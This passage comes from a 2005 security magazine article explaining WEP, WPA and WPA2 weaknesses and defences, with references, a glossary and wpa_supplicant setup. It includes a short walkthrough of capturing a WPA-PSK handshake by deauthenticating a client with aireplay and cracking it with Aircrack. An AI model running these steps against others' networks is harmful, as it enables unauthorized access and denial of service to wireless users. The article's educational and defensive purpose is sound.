* http://www.cs.umd.edu/~waa/attack/v3dcmnt.htm ­ An inductive chosen plaintext
attack against WEP/WEP2 (Arbaugh),
* http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf ­ Weaknesses in the Key
Scheduling Algorithm of RC4 (Fluhrer, Mantin, Shamir),
* http://www.dachb0den.com/projects/bsd-airtools/wepexp.txt ­ h1kari optimiza-
tion,
* http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf ­ Intercepting Mobile Communications:
The Insecurity of 802.11 (Borisov, Goldberg, Wagner),
* http://airsnort.shmoo.com/ ­ AirSnort,
* http://www.cr0.net:8040/code/network/aircrack/ ­ Aircrack (Devine),
* http://weplab.sourceforge.net/ ­ Weplab (Sanchez),
* http://www.Wi-Finetnews.com/archives/002452.html ­ WPA PSK weakness
(Moskowitz),
* http://new.remote-exploit.org/images/5/5a/Cowpatty-2.0.tar.gz ­ Cowpatty WPAPSK
Cracking tools,
* http://byte.csc.lsu.edu/~durresi/7502/reading/p43-he.pdf ­ Analysis of the 802.11i
4-Way Handshake (He, Mitchell),
* http://www.cs.umd.edu/%7ewaa/1x.pdf ­ An initial security analysis of the IEEE
802.1X standard (Arbaugh, Mishra),
* http://support.microsoft.com/?kbid=893357 ­ WPA2 Update for Microsoft Windows
XP SP2,
* http://hostap.epitest.fi/wpa_supplicant/ ­ wpa_supplicant,
* http://www.securityfocus.com/infocus/1814 ­ WEP: Dead Again, Part 1,
* http://www.securityfocus.com/infocus/1824 ­ WEP: Dead Again, Part 2.
About the author
Guillaume Lehembre is a French security
consultant and has been working at
HSC (Hervé Schauer Consultants ­ http://www.hsc.fr)
since 2004. During his
varied professional career he has dealt
with audits, studies and penetration
tests, acquiring experience in wireless
security. He has also delivered public
readings and published papers on security.
Guillaume can be contacted at:
Guillaume.Lehembre@hsc.fr
hakin9 6/2005 www.hakin9.org
Whaťs hot
14
The strength of PTK therefore
relies only on the PMK value,
which for PSK effectively means
the strength of the passphrase.
As indicated by Robert Moskowitz,
the second message of the 4-Way
Handshake could be subjected to
both dictionary and brute force offline
attacks.
The cowpatty utility was created
to exploit this flaw, and its source
code was used and improved by
Christophe Devine in Aircrack to allow
PSK dictionary and brute force
attacks on WPA.
The protocol design (4096
hashes for each password attempt)
means that a brute force attack is
very slow (just a few hundred passwords
per second with the latest
single processor).
The PMK cannot be pre-computed
since the passphrase is
additionally scrambled based on
the ESSID. A good non-dictionary
passphrase (at least 20 characters)
should be chosen to effectively protect
from this flaw.
To perform this attack, the attacker
must capture the 4-Way
Handshake messages by passively
monitoring the wireless network or
using the deauthentication attack
(as described earlier) to speed up
the process.
In fact, the first two messages
are required to start guessing
at PSK values. Remember that
PTK = PRF-X (PMK, Pairwise
key expansion, Min(AP_Mac,
STA_Mac) || Max(AP_Mac, STA_
Mac) || Min(ANonce, SNonce) ||
Max(ANonce, SNonce)), where
PMK equals PSK in our case.
After the second message, the
attacker knows ANonce (from the
first message) and SNonce (from
the second message) and can
start guessing at the PSK value to
calculate the PTK and derived temporary
keys. If the PSK is guessed
correctly, the MIC of the second
message could be obtained with
the corresponding KCK ­ otherwise
a new guess has to be made.
Now for a practical example. It
starts off just as our WEP cracking
Glossary
* AP ­ Access Point, a base station for a Wi-Fi network which connects wireless
clients to each other and to wired networks.
* ARP ­ Address Resolution Protocol, protocol for translating IP addresses to MAC
addresses.
* BSSID ­ Basic Service Set Identifier, MAC address of the access point.
* CCMP ­ Counter-Mode / Cipher Block Chaining Message Authentication Code
Protocol, encryption protocol used in WPA2, based on the AES block cipher
suite.
* CRC ­ Cyclic Redundancy Check, pseudo-integrity algorithm used in WEP protocol
(weak).
* EAP ­ Extensible Authentication Protocol, framework for various authentication
methods.
* EAPOL ­ EAP Over LAN, protocol used in wireless networks to transport EAP.
* GEK ­ Group Encryption Key, key for data encryption in multicast traffic (also used
for integrity in CCMP).
* GIK ­ Group Integrity Key, key for data encryption in multicast traffic (used in
TKIP).
* GMK ­ Group Master Key, main key of the group key hierarchy.
* GTK ­ Group Transient Key, key derived from the GMK.
* ICV ­ Integrity Check Value, data field appended to plaintext data for integrity
(based on the weak CRC32 algorithm).
* IV ­ Initialization Vector, data combined with the encryption key to produce a
unique keystream.
* KCK ­ Key Confirmation Key, integrity key protecting handshake messages.
* KEK ­ Key Encryption Key, confidentiality key protecting handshake messages.
* MIC ­ Message Integrity Code, data field appended to plaintext data for integrity
(based on the Michael algorithm).
* MK ­ Master Key, main key known by the supplicant and the authenticator after the
802.1x authentication process.
* MPDU ­ Mac Protocol Data Unit, data packet before fragmentation.
* MSDU ­ Mac Service Data Unit, data packet after fragmentation.
* PAE ­ Port Access Entity, 802.1x logical port.
* PMK ­ Pairwise Master Key, main key of the pairwise key hierarchy.
* PSK ­ Pre-Shared Key, key derived from a passphrase, replacing the PMK normally
issued by a real authenticator server.
* PTK ­ Pairwise Transient Key, key derived from the PMK.
* RSN ­ Robust Security Network, 802.11i security mechanism (TKIP, CCMP etc.).
* RSNA ­ Robust Security Network Association, security association used in a
RSN.
* RSN IE ­ Robust Security Network Information Element, fields containing RSN
information included in Probe Response and Association Request.
* SSID ­ Service Set Identifier, the wireless network identifier (not the same as ES-
SID).
* STA ­ Station, a wireless client.
* TK ­ Temporary Key, key for data encryption in unicast traffic (also used for integrity
checking in CCMP).
* TKIP ­ Temporal Key Integrity Protocol, encryption protocol used in WPA based on
RC4 algorithm (like WEP).
* TMK ­ Temporary MIC Key, key for data integrity in unicast traffic (used in TKIP).
* TSC ­ TKIP Sequence Counter, replay counter used in TKIP (not the same as
Extended IV).
* TSN ­ Transitional Security Network, pre-802.11i security mechanism (WEP
etc.).
* WEP ­ Wired Equivalent Privacy, default encryption protocol for 802.11 networks.
* WPA ­ Wireless Protected Access, implementation of an early version of the
802.11i standard, based on the TKIP encryption algorithm.
* WRAP ­ Wireless Robust Authenticated Protocol, old encryption protocol used in
WPA2.
WEP, WPA and WPA2 security
hakin9 6/2005www.hakin9.org 15
example did. The first step is to activate
monitor mode:
# airmon.sh start ath0
The next step discovers nearby networks
and their associated clients
(see Listing 7).
This result could be interpreted
as follows: one access point with
BSSID 00:13:10:1F:9A:72 is using
WPA encryption on channel 1 with
the SSID hakin9demo and one client,
identified by MAC 00:0C:F1:
19:77:5C address are associated
and authenticated on this wireless
network (meaning that the 4-Way
Handshake has already been done
for this client).
Once the target network has
been found, capture should be
launched on the correct channel to
avoid missing desired packets while
scanning other channels:
# airodump ath0 wpa-psk 1
Legitimate clients should then be
dissociated, forcing them to initiate
a new association and allowing us
to capture 4-Way Handshake messages.
Aireplay is also used for this
attack and will dissociate the selected
client with the specified BSSID by
sending a fake dissociation request:
# aireplay -0 1 -a <BSSID>
-c <client_mac> ath0
The final step is to launch a dictionary
attack using Aircrack (see Listing 8).
Figure 15 presents the results.
The other main WPA weakness is
a Denial of Service possibility during
the 4-Way Handshake. Changhua
He and John C. Mitchell noticed
that the first message of the 4Way
Handshake isn't authenticated
and each client has to store every
first message until they receive a
valid third (signed) message, leaving
the client potentially vulnerable
to memory exhaustion. By spoofing
the first message sent by the access
point, an attacker can perform a DoS
on the client if it possible for several
simultaneous sessions to exist.
The Michael Message Integrity
Code also has known weaknesses
resulting from its design (forced
by the 802.11i task group). The
security of Michael hinges on communication
being encrypted. While
cryptographic MICs are usually
designed to resist known plaintext
attacks (where the attacker has a
plaintext message and its MIC),
Michael is vulnerable to such attacks
since it is invertible. Given a
single known message and its MIC
value, it is possible to discover the
secret MIC key, so keeping the MIC
value secret is critical. The final
known weakness is a theoretical
attack possibility against the WPA's
Temporal Key Hash, involving
reduced attack complexity (from
128 to 105) under certain circumstances
(knowledge of several RC4
keys).
WPA/WPA2 are also subject
to vulnerabilities affecting others
802.11i standard mechanisms, such
as attacks with 802.1X message
spoofing (EAPoL Logoff, EAPoL
Start, EAP Failure etc.), first described
by William A. Arbaugh and
Arunesh Mishra and possible due to
lack of authentication. Last but not
least, iťs important to note that using
the WPA/WPA2 protocol provides
no protection against attacks on underlying
technologies, such as radio
frequency jamming, DoS through
802.11 violations, de-authentication,
de-association etc.
WPA/WPA2 OS
implementation
On Windows, WPA2 support is not
built-in. An update for Windows XP
SP2 (KB893357) was released on
29 April 2005, adding WPA2 and improving
network detection (see Figure
16). Other Microsoft operating
systems have to use an external supplicant
(commercial or open source,
such as wpa_supplicant ­ the Windows
version is experimental).
On Linux and *BSD, wpa_supplicant
was ready for WPA2 when
the 802.11i standard came out. The
external supplicant supports a large
number of EAP methods and key
management features for WPA,
WPA2 and WEP. Multiple networks
can be declared with various encryption,
key management and
EAP methods ­ Listing 9 presents a
simple WPA2 configuration file. The
default location for the wpa_supplicant
configuration file is /etc/wpa_
supplicant.conf, and the file should
only be accessible to the root user.
The wpa_supplicant daemon
should first be launched with root
privileges in debug mode (-dd option),
with the right driver support (in
our example it is the -D madWi-Fi option
to support the Atheros chipset),
the name of the interface (-i option,
in our case it is ath0) and a path to
the configuration file (-c option):
# wpa_supplicant
-D madWi-Fi
-dd -c /etc/wpa_supplicant.conf
-i ath0
All theoretical steps described above
are output in debug mode (AP association,
802.1X authentication, 4-Way
Handshake etc.). Once everything is
working, wpa_supplicant should be
run in daemon mode (replace the -dd
option with -B).
On Macintosh, WPA2 is supported
with the release of the 4.2 update
to Apple AirPort software: AirPort
Extreme-enabled Macintoshes, AirPort
Extreme Base Station and the
AirPort Express.
Summary
It is clear that WEP encryption does
not provide sufficient wireless network
security and can only be used
with higher-level encryption solutions
(such as VPNs). WPA is a secure solution
for upgradable equipment not
supporting WPA2, but WPA2 will
soon be the standard for wireless
security. Do not forget to put your
wireless equipment in a filtered zone
and keep a wire connection handy
for mission-critical networks ­ radio
frequency jamming and low-level attacks
(violation of 802.11 standard,
false de-association etc.) can still be
devastating. l